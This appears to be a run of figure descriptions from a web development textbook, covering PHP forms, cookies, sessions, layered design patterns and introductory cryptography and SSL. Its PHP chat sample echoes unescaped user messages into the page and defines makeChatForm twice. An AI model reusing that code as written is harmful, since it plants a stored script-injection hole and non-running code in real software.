from field containers and hide error message area."

In second screen, "Register pag"e is displayed with user inputs. Name field
shows "John", the phone field shows 234-567-8901, and the last name field is
empty. Email field shows "asdad@", and rest of fields are empty.

An error message box is displayed between "terms and conditions" checkbox
and "Register" button. Box displays following errors.

Errors were encountered

Last name is required

Invalid email

Password 1 is invalid...must be between 6 and 18 characters

Password 2 is invalid...must be between 6 and 18 characters

You must agree to terms and conditions.

A text pointing to register button reads, "Perform validation when button is
clicked. Use the preventDefault() function to prevent the posting of the form
data if there are any errors."

Two more texts displayed next to screen read as follows:

"Add the error class to the field's <div> container when a validation error is
detected."

"When any validation error occurs, show the error <div> and add all error



messages to the errorMessages child."



Screen shows home page of "Art store" website. A "Welcome" message is
displayed over an abstract painting. Page shows a form at bottom with
following success messages:

Registration successful.

Thank you for registering!

Fred Smith

fred@abc.cd

Two texts are displayed over webpage as follows:

"If the received data has no validation errors then display successful
message."

"If the received data has any validation errors, redirect back to register
form and display relevant errors."



Figure shows a monitor that displays a desktop application. Monitor is
connected to a desktop memory on which application processes are run. To
open application, monitor accesses open process in desktop memory. When
user saves application, it is saved in memory through another process.

Second illustration shows a browser application on a monitor. Monitor is
connected to memory of a web server where different processes are run. To
open the application, monitor accesses "open.php" or open page process in
web server memory. To save application, monitor accesses "save.php" or
save page process.



First illustration shows User X sending two requests to a web server. Two
requests are "GET index.php" and "GET product.php". In second illustration,
User X requests "GET index.php" from server, while User Y requests "GET
product.php" from same server.

Text in illustration reads, first process..."is for the server not really any
different than..." second process.



Illustration shows a User X sending two requests to a web server. First
request is "Add product to shopping cart". Second request is "Go to check out
and pay for item in cart."



Figure shows a browser with entries in following three input fields:

Artist: Picasso

Year: 1906

Nationality: Spain

Browser shows a "Submit" button, clicking on which one of the two
processes gets triggered.

GET process is shown in following method:

<form method="GET" action="process.php">

Process sends following "query string"--
"artist=Picasso&year=1906&nation=Spain" within URL as follows:

GET process.php?artist=Picasso&year=1906&nation=Spain http/1.1

Second process, POST, is shown in following method:

<form method="POST" action="process.php">

Process sends query string "artist=Picasso&year=1906&nation=Spain" within
HTTP header, which is shown as follows:

POST process.php HTTP/1.1

Date: Sun, 15 Jan 2017 23:59:59 GMT

Host: www.mysite.com

User-Agent: Mozilla/4.0

Content-Length: 47

Content-Type: application/x-www-form-urlencoded

http://www.mysite.com


artist=Picasso&year=1906&nation=Spain



Browser shows Google search page where input query is "reproductions
Raphael portrait la donna velata".

A total of 18,600 results are returned in 0.54 seconds. Browser shows top
results in first page. URLs of first four results are highlighted as follows:

http://www.artsheaven.com/raphael-la-donna-velata.html

http://www.paintingall.com/raphael-sanzio-woman-with-a-veil-la-donna-
velata.html

http://www.1st-art-gallery.com/Raphael/La-Donna-Velata-1516.html

http://www.paintingswholesaler.com/detail.asp?
vcode=6umd7krr1yqi161c&title=La+Donna+Velata

http://www.artsheaven.com/raphael-la-donna-velata.html
http://www.1st-art-gallery.com/Raphael/La-Donna-Velata-1516.html
http://www.paintingswholesaler.com/detail.asp?vcode=6umd7krr1yqi161c&title=La+Donna+Velata


Illustration shows eight steps. In step 1, user makes a first request to page in
domain "somesite.com". Following request is sent from browser to web
server:

GET SomePage.php http/1.1

Host: www.somesite.com

In step 2, page in web server sets cookie values as part of response.

Step 3 shows cookies stored in header of HTTP response as follows:

HTTP/1.1 200 OK

Date: Sun, 15 Jan 2017 23:59:59 GMT

Host: www.somesite.com

Set-Cookie: name=value

Set-Cookie: name2=value2;Expires=Sun,22 Jan 2017 ...

Content-Type: text/html

<html>...

(two lines starting with "Set-Cookie", are cookie values)

Step 4 shows browser receiving response and saving cookie values in text
file, and associating them with domain somesite.com

In step 5, user makes another request to page in domain somesite.com. Then
browser reads cookie values from text file for this, and each subsequent
request is made for somesite.com. This is marked as step 6.

Step 7 states that, "cookie values travel in every subsequent HTTP request for
that domain". Request is shown as,

http://www.somesite.com
http://www.somesite.com
http://somesite.com


"GET AnotherPage.php http/1.1

Host: www.somesite.com

Cookie: name=value; name2=value2"

Step 8 states that, "Server for somesite.com retrieves these cookie values
from request header and uses them to customize response."

http://www.somesite.com
http://somesite.com


Illustration shows properties and values of an object as follows:

$picasso : Artist

- firstName: Pablo

- lastName: Picasso

- birthDate: October 25, 1881

- birthCity: Malaga

- deathDate: April 8, 1973

- works : Array( <Art> )

Two more objects point to above object. Properties and values of those two
objects are shown as follows:

$chicago : Sculpture

- name: Chicago

- createdDate : 1967

- size : array(15.2)

- weight : 162 tons

$guernica : Painting

- name: Guernica

- createdDate : 1937

- size : array(7.8,3.5)

On serialization, object ($picasso) is converted into following code:



C:6:"Artist":764:{a:7:{s:8:"earliest";s:12:"Oct 25,

1881";s:5:"firstName";s:5:"Pablo";s:4:"lastName";s:7:"Picasso";s:5

:"birthDate";s:12:"Oct 25, 1881";s:5:"deathDate";s:11:"Apl 8,

1973";s:5:"birthCity";s:6:"Malaga";s:5:"works";a:3:{i:0;C:8:"Paint

ing":134:{a:2:{s:4:"size";a:2:{i:0;d:7.7999999999999998;i:1;d:3.5;

}s:7:"artData";s:54:"a:2:{s:4:"date";s:4:"1937";s:4:"name";s:8:"Gu

ernica";}";}}i:1;C:9:"Sculpture":186:{a:2:{s:6:"weight";s:8:"162

tons";s:12:"paintingData";s:123:"a:2:{s:4:"size";a:1:{i:0;d:15.119

999999999999;}s:7:"artData";s:53:"a:2:{s:4:"date";s:4:"1967";s:4:"

name";s:7:"Chicago";}";}";}}i:2;C:5:"Movie":175:{a:2:{s:5:"media";

s:8:"file.avi";s:12:"paintingData";s:113:"a:2:{s:4:"size";a:2:{i:0

;i:32;i:1;i:48;}s:7:"artData";s:50:"a:2:{s:4:"date";s:4:"1968";s:4

:"name";s:4:"test";}";}";}}}}}

An arrow points from above code back to "$picasso : Artist", and is labeled
as "unserialize().



Illustration shows three users access web server. User sessions are labeled as
X, Y, Z. Server shows two components: Server disk and Server memory.

Server disk stores three files which correspond to these sessions as follows:

Serialized file(Session X)

Serialized file(Session Y)

Serialized file(Session Z)

When the users access the server, these files are loaded onto server memory
as follows:

Shopping cart(User Session X)

Shopping cart(User Session Y)

Shopping cart(User Session Z)



It shows following points labeled on a code:

1. Remember if using sessions, then we must call the session_start()
function first.

2. Has a username already been specified?

3. No session and no post data means we must display form to get the
username.

4. Save user name in session state and display chat form.

5. If user types logout then clear session and reload page.

6. Append the message content to a text file.



Illustration shows following code along with instructional text:

<?php

session_start(); (Text here reads, "1. Remember if using sessions, then we
must call the session_start() function first")

if (! isset($_SESSION['user'])) { ( Text here reads, "2. Has a username
already been specified?")

// has a user name been passed to us?

if (! isset($_POST['username'])) { ( Text here reads, "3. No session and no
post data means we must display form to get the username")

echo makeUsernameForm();

}

else {

$_SESSION['user'] = $_POST['username']; (Text here reads, "4. Save user
name in session state and display chat form")

echo makeChatForm();

}

}

else {

// has a chat message just been posted?

if (isset($_POST['message'])) {

if ($_POST['message'] == 'logout') { ( Text here reads, "5. If user types
logout then clear session and reload page")



unset($_SESSION['user']);

header("Location:" .

$_SERVER['REQUEST_URI']);

}

$content = $_SESSION['user'].": ".$_POST['message']."<br>\n";

file_put_contents("chat.txt", $content, FILE_APPEND | LOCK_EX); ( Text
here reads, "6. Append the message content to a text file")

}

// display the chat form

echo makeChatForm();

}

?>

<?php

// generates the form prompting for username

function makeUsernameForm() {

$html = "<h2> Please select a username to use in chat</h2>";

$html .= "<form method ='post'>";

$html .= "Username: <input name='username'><br>";

$html .= " <input type='submit'></form>";

return $html;

}



// generates the current chat and a form for message

function makeChatForm() {

$previousContent = file_get_contents("chat.txt");

$html = "<div>$previousContent</div>";

$html .= "<form method='post'>";

$html .= "Message: <input name='message'><br>";

$html .= "<input type='submit'></form>";

return $html;

}

// generates the current chat and a form for message

function makeChatForm() {

$previousContent = file_get_contents("chat.txt");

$html = "<div>$previousContent</div>";

$html .= "<form method='post'>";

$html .= "Message: <input name='message'><br>";

$html .= "<input type='submit'></form>";

return $html;

}

?>

Illustration shows two browser windows at end. First window shows a
"username" field and a submit button. A message on top reads, "Please select



a username to use in chat". User enters "Ricardo" and submits, after which a
chat form is generated in second window.

Second window shows chat messages added through another input window
labeled as "Message". Everytime user enters a message in this window and
submits, it gets added to "chat.txt" and is displayed. Window shows
following messages:

Ricardo: Hello

Ricardo: This is fun

Ricardo: I can type all day

A "logout" message is added in message field. Text in window states that
"Entering logout will exit the session".



Figure shows a web server with a server memory that stores information
about three sessions as:

ShoppingCart

User Session X

sessionID=h1xh3ibe2htri4s

ShoppingCart

User Session Y

sessionID=56g3i7h2h75i4f

ShoppingCart

User Session Z

sessionID=k66h99sd87akzxc

A user accesses web server via "Session X", requesting access to "Host:
somesite.com". Figure shows server and browser exchange a cookie
containing sessionId as follows:

Cookie: sessionID=h1xh3ibe2htri4s



Illustration shows a box labeled as server memory. It holds another rectangle
labeled as "Apache PHP threads", and a group of small rectangles labeled as
"Other linux threads".

Three smaller rectangles are drawn inside the "Apache PHP threads"
rectangle. These three rectangles are labeled as PHP site AAA, PHP site
BBB, and PHP site CCC. Each of these PHP threads carries multiple files.
Some files have a "Session" icon while some are empty.



Figure shows a web farm which has four servers. These are connected to a
load balancer, which receives requests from a User.

User with session X sends two requests to load balancer as Request 1, and
Request 2. The load balancer sends Request 1 to one server, and Request 2 to
another server.



Figure shows a web farm which has four servers. These are connected to a
load balancer, which receives requests from users and routes them to each of
these servers.

Four servers are connected to a single server, labeled as "Shared session
server". All user sessions from web farm are stored in shared session server.



Figure shows six steps of process.

Step 1 shows user requesting a page(PHP). Page is loaded on browser which
displays a map of Italy along with text information.

Step 2 shows page retrieving XML from flickr REST web service, and
displays images under caption "Flickr".

In step 3, the XML is saved in browser's web storage (JavaScript).

Step 4 shows user requesting a related page in PHP.

Step 5 shows browser retrieving XML from browser's web
storage(JavaScript).

Step 6 displays this XML data, saving second request to flickr REST web
service.

Browser shows a related page loaded on screen along with new images from
flickr.



Figure shows three users' requesting "GET index.php" from web server. Web
server verifies if cached index.php is recent enough. If yes, it retrieves
markup for index.php from disk cache. This markup is sent back to
requesting web browsers.

If cached index.php isn't a recent one, then web server executes index.php by
interacting with DBMS and Web services. A new markup is generated. This
markup for "index.php" is saved to disk cache.

In final step, a copy of this markup is sent back to requesting browsers.



Illustration shows four screens of "CRM Admin" page. First screen shows
two sections labeled as "Creating the Cookies" and "Reading the Cookies",
with following content:

Creating the cookies

Choose a theme to be stored in persistent cookie

Choose a philosopher to be stored in session cookie

Create Cookies (button)

Reading the Cookies

Persistent THEME cookie not found

Session PHILOSOPHER cookie not found

Go to another page in same domain (link)

In second screen, "Light" is chosen as a theme for persistent cookie. "Thomas
Hobbes" is chosen as philosopher to be stored in session cookie. On clicking
"Create Cookies" button, cookie information is updated in "Reading the
Cookies" section as follows:

Persistent THEME cookie value is : Light

To test this persistent cookie, close browser and then reopen this page.

Session PHILOSOPHER cookie value is : Thomas Hobbes.

To test this sesssion cookie, click link below to go to another page in
same domain.

Third and fourth screens show "Other page" in the CRM admin site. Both the
pages show the following information:

Other page



Persistent THEME cookie value is : Light

Session PHILOSOPHER cookie value is: Thomas Hobbes

Remove cookies (link)

Following texts are displayed next to two screens:

"Cookies should be available on other pages in domain."

"If you close the browser and then reopen this page, the session cookie
should no longer exist."

A text pointing to "Remove Cookies" link reads, "Use this button to remove
cookies for easier testing".



Figure shows three screens of "Art Store" page. In first screen, three portraits
are displayed in "Paintings" page. A task bar on top shows a field labeled
"Favorites" with a number displayed next to it. A text pointing to this number
reads, "Display the number of favorite items in Session".

Third portrait in this screen shows a "Favorites" symbol. A text pointing to
this symbol reads, "Add this painting to the Favorites list".

Second screen shows a painting titled as "Portrait of Johannes Wtenbogaert".
A button is displayed below painting, labeled as "Add to Favorites". A text
pointing to this symbol reads, "Add this painting to the Favorites list".

Third screen shows a page titled Favorites that lists all paintings which are
tagged as favorites. A "Remove" button is displayed next to each of
paintings. A text pointing to this button reads, "Remove single painting from
Favorites list".

Another button is displayed at bottom of page with label, "Remove all
Favorites". A text pointing to this button reads, "Empty the Favorites list".



Four layers containing groups of classes are displayed in following order:

Layer 1

Layer 2

Layer 3

Layer 4

Layer 1 is connected to layer 2 and layer 3 through "<<uses>>", and layer 3
is further related to layer 4 through "<<uses>>".

Dependencies between layers is shown as follows:

Layer 1 <<uses>> Layer 2

Layer 1 <<uses >> Layer 3

Layer 3<<uses>> Layer 4



Illustration shows three tiers as "Presentation tier", "Application tier", and
"Data tier".

Presentation tier in front end shows browsers and applications running on a
laptop, desktop, and mobile application.

Data tier in backend shows two database servers.

Application tier in between shows three web servers and two application
servers.



Two layer model shows dependencies between two layers as follows:

Presentation layer <<uses>> Data layer.

Presentation layer contains "PHP pages" and "Helper functions", with former
interacting with latter. Data layer contains "Data access" and "Service
helpers". Data access interacts with "DBMS", while service helpers interacts
with "Legacy system", both depicted outside data layer.



Illustration shows a two layer model consisting of presentation layer which
depends on data layer, which in turn connects to an external DBMS.

Presentation layer contains various php pages like "EditPainting.php",
"AddPainting.php", "ProcessOrder.php", "CancelOrder.php", and
"EditOrder.php".

Data layer contains two objects which are depicted as follows:

PaintingDataAccess

+ CreatePainting()

+ RetrievePainting()

+ UpdatePainting()

+ DeletePainting()

OrderDataAccess

+ CreateOrder()

+ RetrieveOrder()

+ UpdateOrder()

+ DeleteOrder()

Illustration shows following business rules, pointing to "PaintingDataAccess"
object in data layer and to presentation layer:

Business Rules:

When creating a painting title, ensure that it doesn't already exist.

Only allow delete if no orders yet for this painting.



Ensure price is greater than cost.

Following "Business Processes" are displayed, which point to object,
"OrderDataAccess" and presentation layer:

Business Processes:

After creating order, check if it qualifies for any discounts.

Check if selected shipper available for weight of order.

Ensure financial system approved purchase.

Communicate to inventory system to fulfill (ship) order.

Only allow order to be canceled if inventory system has not fulfilled
order.

Communicate with financial system to refund purchase (or get more
funds if necessary).



Three layer model shows dependencies between layers as follows:

Presentation layer <<uses>> Business layer

Business layer <<uses>> Data layer

Presentation layer contains "PHP pages" and "Helper functions", with former
interacting with latter. Business layer contains "Entities" and "Workflow".
Data layer contains "Data access" and "Service helpers".



Figure shows a business layer with four objects, and a DBMS with four
corresponding tables. Relationship between these objects is similar to
relationship between tables, as shown below:

(Objects in Business layer)

Order <-> OrderDetail

OrderDetail-->Painting

Painting--> Artist

(Tables in DBMS)

OrderDetails-->Orders

OrderDetails-->Paintings

Paintings--> Artists

Properties of each "Object" is similar to columns in corresponding table, as
depicted below:

(Object)

Artist

+ id: int

+ lastName: string

+ firstName: string

+ nationality: string

(Table)

Artists



PK : ArtistID

LastName

FirstName

Nationality

(Object)

Painting

+ id: int

+ artist: Artist

+ title: string

+ yearOfWork: date

(Table)

Paintings

PK: PaintingID

ArtistID

Title

YearOfWork

etc

(Object)

OrderDetail

+ id: int



+ artWork: Painting

+ quantity: int

+ price: currency

(Table)

OrderDetails

PK : OrderID

PK : PaintingID

Quantity

Price

(Object)

Order

+ id: int

+ orderDate: date

+ details: OrderDetails[]

(Table)

Orders

PK OrderID

OrderDate

CustomerID



Object "Order" is depicted with following properties and values:

+ id: int

+ orderDate: date

+ details: OrderDetails[]

+ customer: Customer

+ recommendations: Paintings[]

+ payment: Payment

+ shipping: ShippingRecord

Figure also depicts behaviours of this object as follows:

+ ApplyDiscounts()

+ CheckPayment()

+ CheckInventory()

+ FindRecommendations()

+ GetPayment()

+ NotifyShipper()

+ UpdateInventory()



Figure shows a client with some class or page connected to a "Database
Adapter interface". Properties and behaviours of "Adapter interface" are
depicted as follows:

+ beginTransaction()

+ commit()

+ fetch(): Array

+ rollBack()

+ runQuery(): mixed

+ setConnectionInfo()

Two concrete adapters are constructed from Adapter interface for PDO and
mysqli as follows:

AdapterPDO:

+ beginTransaction()

+ commit()

+ fetch(): Array

+ rollBack()

+ runQuery(): mixed

+ setConnectionInfo()

AdapterMySQLi:

+ beginTransaction()

+ commit()



+ fetch(): Array

+ rollBack()

+ runQuery(): mixed

+ setConnectionInfo()

Figure shows adaptees for each of concrete adapters as follows:

PDO

+ construct(host,user,pass,db)

+ beginTransaction()

+ commit()

+ exec(): int

+ prepare(): PDOStatement

+ query(): PDOStatement

+ rollBack()

mysqli

+ construct(dsn,user,pass)

+ commit()

+ prepare(): mysqli_stmt

+ query(): mixed

+ rollback()



Illustration shows a client (some class or page) which has dependencies with
the "TableDataGateway" class.

Abstract superclass "TableDataGateway", is defined as follows:

<<abstract>>

TableDataGateway

# getSelectStatement()

+ findAll()

Algorithm of "TableDataGateway" is depicted as:

public function findAll() {

$sql = getSelectStatement();

$results = $this->db->query($sql);

if (! $results) {

throw new Exception('Something happened');

}

return $this->lastStatement;

}

abstract protected function getSelectStatement();

Two concrete sub classes which derive from super class are depicted, along
with their functions as follows:

ArtistTableGateway



# getSelectStatement()

+ findAll()

protected function getSelectStatement()

{

return 'select * from Artists';

}

PaintingTableGateway

# getSelectStatement()

+ findAll()

protected function getSelectStatement()

{

return 'select * from Paintings';

}



Figure depicts dependency between two objects as follows:

TableDataGateway <<uses>> DatabaseAdapter

TableDataGateway is super class, whose properties and behaviours are
depicted as follows:

<<abstract>>

TableDataGateway

# getSelectStatement()

# getPrimaryKeyName()

+ findAll()

+ findById()

+ findBy()

+ insert()

+ update()

+ delete()

Two concrete classes are shown as sub classes to TableDataGateway.
Behaviours unique to these concrete classes are depicted as follows:

ArtistTableGateway

# getSelectStatement()

# getPrimaryKeyName()

PaintingTableGateway



# getSelectStatement()

# getPrimaryKeyName()



Domain object is depicted along with its properties as follows:

<<abstract>>

DomainObject

+ __construct(data[])

# getFieldNames()

# doesFieldExist(name)

+ __get(name)

+ __set(name)

+ __isset(name)

+ __unset(name)

Three domain classes which inherit from this abstract domain object are
shown as follows:

Artist

+ __construct(data[])

# getFieldNames()

Painting

+ __construct(data[])

# getFieldNames()

Order

+ __construct(data[])



# getFieldNames()

Illustration shows following function connected to "Artist" class :

protected static function getFieldNames()

{

return array('ArtistID',

'FirstName',

'LastName',

'Nationality',

'YearOfBirth',

'YearOfDeath',

'Details',

'ArtistLink'

);

}



Illustration shows two classes and their relationship as follows:

Artist --> ArtistCollection.

Key properties of these two classes are shown as follows:

Artist

+ __construct(data[])

# getFieldNames()

+ findByKey(key)

+ insert()

+ update()

+ delete()

ArtistCollection

+ artists[]

+ addArtist(artist)

+ removeArtist(artist)

+ findAll()

+ findBy()

+ insertMultiple()

+ updateMultiple()

+ deleteMultiple()



ArtistCollection inherits from "DomainCollection" while artist inherits from
"DomainObject" whose properties are depicted as follows:

<<abstract>>

DomainObject

# getFieldNames()

# doesFieldExist(name)

+ __get(name)

+ __set(name)

+ __isset(name)

+ __unset(name)

Both classes (Artist and ArtistCollection) are shown to have dependencies
with the "DatabaseAdapter".



Illustration shows a client machine, whose user interface contains
"Controller" and "View", while "Model" is depicted in the background. The
client "sees" View while "uses" Controller.

Interactions between Contoller, View and Model are depicted as follows.
Controller sends requests to View while View sends notifications to
Controller. Model sends notifications to View, while View retrieves
information from Model.



Illustration shows a user machine, a client and a server. User machine "uses
and sees" client, while server is depicted in background.

Client has three components: JavaScript Presentation layer, HTML CSS, and
JavaScript Controller layer. JavaScript presentation layer sends user inputs to
Javascript controller layer.

Server has two components: PHP controller and PHP Model. PHP controller
receives HTTP requests from HTML CSS, and AJAX requests from
JavaScript Controller layer. PHP controller in turn updates PHP model.



Illustration shows a user machine, a client and a server. User machine "sees
and uses" client, while server is depicted in background.

Client has three components: JavaScript Presentation layer, HTML CSS, and
JavaScript Controller layer. Server has two components: PHP controller and
PHP Model. PHP model is accessed by PHP controller, which sends a direct
HTTP response to HTML CSS in the client, or an AJAX response to
JavaScript controller layer. JavaScript in client controller in turn updates
view in both HTML CSS and JavaScript Presentation layer.



Illustration shows three requests which encapsulated into three separate
concrete command objects, as follows:

ConcreteAction1

# processRequest()

ConcreteAction2

# processRequest()

ConcreteAction3

# processRequest()

These requests are forwarded to an "ActionCommand" object, whose
properties are shown as follows:

<<abstract>>

ActionCommand

# processRequest()

+ simpleFactory(): Command

Illustration shows FrontController object which "uses" ActionCommand.
Properties of "FrontController" are depicted as follows:

FrontController

+ determineRequestedAction()

+ performCommonRequestProcessing()

+ dispatchAction()



Illustration shows three steps. In step 1, test scripts are written in a wide
variety of languages. These scripts are sent to Selenium Remote Control
Server as HTTP requests.

In step 2, Selenium server launches pages to be tested in customized
browsers. Three browsers: IE, Chrome, and Firefox which are customized
with Selenium plugin are displayed.

In Step 3, screens are recorded at key validation points and reports are
generated.



Illustration shows two screens in CRM Admin website.

First screen shows a list of books along with title and cover page. On right
panel, two lists are displayed. First, titled "Imprints" shows following items:

All Imprints

Addison-Wesley

Longman

Pearson

Prentice Hall

Undecided

Second list, titled "Subcategories" shows following items:

All subcategories

Accounting

Advanced programming

Advanced topics

Calculus

A text next to these two lists reads, "Links back to browse-books.php".

Second screen shows same page. URL of this page is appended with a
specific subcategory id as follows:

...browse-books.php?subcategory=8.

Text pointing to the URL reads, "Filter the book list by ImprintID or
SubcategoryID".



Page shows book list according to specified subcategory in url.



Illustration shows three screens. First screen, titled as "Genres", displays
various genres of paintings. In second screen, "Dutch Golden Age" genre is
selected. Text displayed on top describes paintings in this genre. Paintings are
shown below the text.

Text "Use the GenreTableGateway class for these two pages" is displayed
next to both the screens.

Another text which points to paintings in second screen reads, "Use the
getAllByGenre() method for this list of paintings."

In third screen, a specific painting is displayed which is titled as, "Militia
Company of District 2 under the command of Captain Frans Banninck Cocq,
Known as the 'Night Watch'." Text pointing to the painting reads, "Use the
PaintingTableGateway class."

Next to painting, four tabs titled as details, museum, genres and subjects are
displayed. Text pointing to "genres" reads, "Display the correct Genres for
the painting by using the GenreTableGateway class."



The each row of the table from top to bottom and each column from right to
left is labeled as “Very high,” “High,” “Medium,” “Low,” and “Very Low.”

See table tab for the whole table.

5 10 20 40 80
4 8 16 32 64
3 6 12 24 48
2 4 8 16 32
1 2 4 8 16



The waterfall model shows five stages as follows:

Requirements

Design

Implementation

Testing

Deployment

Each stage points to next stage, and last stage points back to first stage.

For every stage, three security inputs are depicted as follows:

Requirements: Privacy needs, Security policy, CIA triad

Design: Threat assessment, Risk assessment, Redundancy planning

Implementation: Pair programming, Code reviews, Defensive programming

Testing: Security unit tests, Vulnerability tests, Test cases

Deployment: Penetration testing, Attack thyself, Default values.

Components of each stage point back to the stage.



Three categories are depicted along with appropriate icons, as:

What you know (Knowledge): Passwords, PIN, security questions,... (Icon
shows a bust with an opened skull displaying hardware in place of brain).

What you have (Ownership): Access card, cell phone, cryptographic FOB,...
(Icons depict a cell phone, a credit card, and a key).

What you are (Inheritance): Retinas, fingerprints, DNA, walking gait,... (Icon
shows a human doll).



Illustration shows four machines which are labeled as follows:

Resource owner

Client (your web server)

Authentication server (server machine shown with a lock)

Resource server (server machine shown with a key)

Seven steps are illustrated for registering and authentication process. At every
step, two boxes are displayed under respective machines, with arrows
pointing to each other.

Step 0 shows the client registering with the “Authentication server” and
receiving a “client_id secret”.

In step 1, user requests login page from client.

In step 2, client redirects user to authentication server with its client_id and
callback URL.

Step 3 happens when “Upon a valid login authentication server returns a
redirect to client containing authorization code.”

In Step 4, user sends authorization code to client. Client requests an access
token from authentication server using the authorization code and secret.
Server sends this access token, which is stored on client.

Step 5 shows user wanting something and sending a request to client. Client
uses access token and sends a resource request to last machine, “Resource
server”.

Step 6 depicts access token obtained earlier grants access to resource from
resource server.

Protected resource is sent from resource server to client server, and then
forwarded to user.



Illustration shows three figures labeled as Alice, Bob, and Eve. Message
transmission and eavesdropping between three is shown in three steps.

1. Step 1, Alice sends a message.

2. Step 2, Bob receives the message.

3. Step 3, Eve intercepts the message.



Illustration shows three figures labeled as Alice, Bob, and Eve. Message
transmission and eavesdropping between three is shown in four steps.

In step 1, Alice encrypts message with key.

In step 2, Alice transmits the cipher, which is encrypted message.

In step 3, Eve intercepts cipher but, unable to understand it as she doesn't
have key.

In step 4, Bob receives cipher and decrypts it with key.



Figure shows two rows of alphabets. First row shows plain alphabets from A
to Z. Row beneath is Cipher alphabet with a shift of 3. It starts from D and
goes on up to Z and again shows alphabets from A to C.

Four alphabets which make word “Hello” are highlighted in the upper row.
Arrows are drawn from these letters to their corresponding cipher alphabets
in lower row as follows:

E: H

H: K

L: O

O: R

On encryption, “Hello” becomes “Khoor”.



X axis shows 26 alphabets arranged in decreasing order of their occuring
frequency. Y axis shows percentage ranging from 0.00 to 12.00 in increment
of 2. Approximate occuring frequency percentage for the letters is as follows:

E: 11

A: 8.5

R: 7.5

I: 7.5

O: 7.2

T: 7

N: 6.5

S: 5.8

L: 5.5

C: 4.5

U: 3.7

D: 3.5

P: 3.2

M: 3

H: 3

G: 2.5

B: 2.1



F: 1.9

Y: 1.9

W: 1.5

K: 1.3

V: 1

X: 0.4

Z: 0.4

J: 0.2

Q: 0.2



Plain message is shown as “HELLO DEAR READERS”. Letters of this
message are put in a row. Another row of equal length is displayed below this
row, in which the word “HOTDOG” is repeated for entire row length. Each
letter of message row is added to corresponding letter of encrypt row,
resulting in Cipher. For Example, H plus H becomes P, and E plus O
becomes T (based on alphabet numbers).

Cipher for “HELLO DEAR READERS” is displayed as “PTFPD KMPL
VTHLTLW”. Letters are put in a row. Another row of equal length is
displayed below where word “HOTDOG” is repeated. Subtracting each letter
of Cipher row from corresponding letter of decrpt row, original message,
“Hello dear readers” is restored.



Step 0 shows sixteen 48-bit keys which are generated from 64-bit shared key
(e.g.111010010110...), and labeled as Sub key 1....Sub key 16.

In Step 1, message to be encrypted is broken into 64-bit blocks and padded
out. Illustration shows a page pointing to multiple 64-bit blocks.

Step 2 and Step 3 show that each 64-bit block is split into two 32-bit blocks.
First block is labeled as “11101011001...” while second block is labeled as
“010001010101...”

Text for Step 4 reads, “The 32-bit value is expanded to 48 bits and XOR'd
with the key for this round.” Illustration shows second 32-bit block
“010001010101...” added to the Sub key “i”.

In Step 5, XOR'd value is split into 8-, 6-bit blocks and run through eight S-
boxes (Substitution boxes). Illustration shows the 32-bit block splitting into 8
boxes.

Step 6 shows permuted boxes recombining to form block, labeled as
“010111000100...”

In step 7, scrambled 32-bit value is XOR'd with other 32-bit block. Two
blocks are labeled as “1011011110101...” and “010001010101...”.

Text for step 8 reads, “The 32-bit blocks are switched for the next round, go
back to Step 4.”

Step 9 reads, “After 16 rounds we have the scrambled 64-bit value (the cipher
text).” Illustration shows a page icon labeled as “Cipher”.



Illustration shows two figures labeled Alice and Bob communicating a shared
secret key with each other. Alice selects a=3 which is unknown to Bob, while
Bob selects b=4 which is unknown to Alice. Values of g=2 and p=11 are
agreed between two. Alice sends (g raised to a) mod p, which is 8 to Bob.
Using this, Bob calculates secret key value of (g raised to a) raised to b mod p
as follows:

a = ???

b = 4

g raised to a mod p = 8

(g raised to a) raised to b = (8) 4 mod p = 4

Similarly Bob sends (g raised to b) mod p, which is 5 for Alice. Using this,
Alice calculates secret key value of (g raised to b) raised to a mod p as
follows:

a = 3

b = ???

g raised to b mod p = 5

(g raised to b) raised to a = (5) 3 mod p = 4

Illustration shows Alice and Bob communicating further using secret key.
Alice encrypts her message using the key (g raised to b) raised to a. Bob
decrypts it using same key.

A third figure, Eve intercepts this message, but without key, she is unable to
decrypt it. Her calculations are shown as follows:

g = 2

p = 11



g raised to b mod p = 5

g raised to a mod p = 8

(g raised to b) raised to a = ???

a = ???

b = ???



Illustration shows seven steps of a message exchange between two figures,
Alice and Bob.

In step 1, Alice calculates a hash of message, which is displayed as
“f8017b18c39de92871a980b...8f94ff”.

Step 2 states that “Alice encrypts the hash with her private key thus creating a
signature.” Signature is displayed as “2019d938d038849f8b08a8569a100b”.

Step 3 of illustration shows Alice sending message and signature to Bob,
which Bob receives in step 4.

In step 5, Bob calcuates hash of message, which is shown as
“f8017b18c39de92871a980b...8f94ff”.

Step 6 shows Bob decrypt signature using public key. Signature is displayed
as “2019d938d038849f8b08a8569a100b”, and decrypted hash is shown as
“f8017b18c39de92871a980b...8f94ff”.

Step 7 states that, “if the decrypted has equals the calculated hash, that is
“f8017b18c39de92871a980b...8f94ff”, the message is legitimate.”



Screenshot shows a url as follows:

https://mail.google.com/mail/u/0/#inbox.

A padlock icon is displayed next to “https”. On mouseover on this icon,
another window opens displaying the following text:

You are connected to

google.com

which is run by

(unknown)

Verified by: Google Inc

Your connection to this website is encrypted to prevent eavesdropping.

https://mail.google.com/mail/u/0/#inbox
http://google.com


A browser window on left represents Client while a server machine on right
represents Server. Ten steps of SSL handshake are displayed as texts above
arrows that point from client to browser (and vice-versa) as follows:

1. Client to Browser: HELLO (cipher list, SSL version, etc)

2. Browser to Client: HELLO (cipher selection)

3. Browser to Client: Public Key (“a key icon is displayed”)

4. Browser to Client: Certificate (“a certificate icon is displayed”)

5. On the client's side: Client authenticates the certificate or gets the user to
accept it

6. Client to Browser: (Premaster secret (encoded with server key))

7. Both on the server and client's side: Symmetric key computed (“a key
with a rotating arrow is displayed”)

8. Client to Browser: Client done

9. Browser to Client: Browser done

10. Secure transmission completed.



Figure shows two squares depicting “X.509 certificate” icon. Square on left
displays plain text content of certificate as follows:

Common Name: funwebdev.com

Organization: funwebdev.com

Locality: Calgary

State: Alberta

Country: CA

Valid From: July 23, 2013

Valid To: July 23, 2014

Issuer: funwebdev.com, funwebdev.com

Key Size: 1024 bit

Serial Number: 9f6da4acd62500a0

The square on right shows encrypted content of actual transmitted certificate
as follows:

-----BEGIN CERTIFICATE-----

MIIC......

.....encrypted content...

.............ZSB9E=

-----END CERTIFICATE-----

http://funwebdev.com
http://funwebdev.com
http://funwebdev.com
http://funwebdev.com


Screen shows Certificate manager page with various tabs like “Your
Certificate”, “People”, “Servers”, “Authorities”, and “Others”. “Authorities”
tab is opened and following certificates are displayed inside a window under
heading that reads, “You have certificates on file that identify these certificate
authorities:”

Thawte Consulting cc

